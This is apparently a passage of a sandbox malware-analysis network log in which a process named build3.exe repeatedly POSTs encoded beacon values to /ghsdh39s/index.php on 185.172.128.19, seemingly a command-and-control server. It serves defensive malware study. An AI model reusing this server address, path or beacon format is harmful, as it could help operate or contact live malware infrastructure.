Dec 20, 2023 15:38:22.297569036 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:22.598783970 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
222	192.168.2.4	50052	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:22.898472071 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:23.193790913 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
223	192.168.2.4	50053	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:23.598360062 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:23.889810085 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
224	192.168.2.4	50054	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:24.188925028 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:24.483006001 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
225	192.168.2.4	50055	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:24.879211903 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:25.171015978 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
226	192.168.2.4	50057	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:25.468200922 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:25.764432907 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
227	192.168.2.4	50058	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:26.163331985 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:26.458367109 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
228	192.168.2.4	50059	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:26.755698919 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:27.048973083 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
229	192.168.2.4	50061	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:27.467320919 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:27.768729925 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
230	192.168.2.4	50063	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:28.064678907 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:28.360444069 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
231	192.168.2.4	50064	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:28.769654989 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:29.061480999 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
232	192.168.2.4	50065	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:29.361429930 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:29.654701948 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
233	192.168.2.4	50066	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:30.051050901 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:30.342964888 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
234	192.168.2.4	50067	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:30.640330076 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:30.943299055 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
235	192.168.2.4	50068	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:31.347393036 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:31.641401052 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:38:31.643966913 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:31.940495968 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
236	192.168.2.4	50069	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:32.344032049 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:32.631823063 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
237	192.168.2.4	50070	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:32.925429106 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:33.218941927 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
238	192.168.2.4	50072	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:33.624939919 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:33.912924051 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
239	192.168.2.4	50073	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:34.204803944 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:34.495318890 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
240	192.168.2.4	50074	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:34.892364979 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:35.180144072 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
241	192.168.2.4	50075	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:35.491864920 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:36.240364075 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:36.531501055 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
242	192.168.2.4	50077	185.172.128.19	80

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:36.941992998 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:37.235018015 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:38:37.238950014 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:37.538602114 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

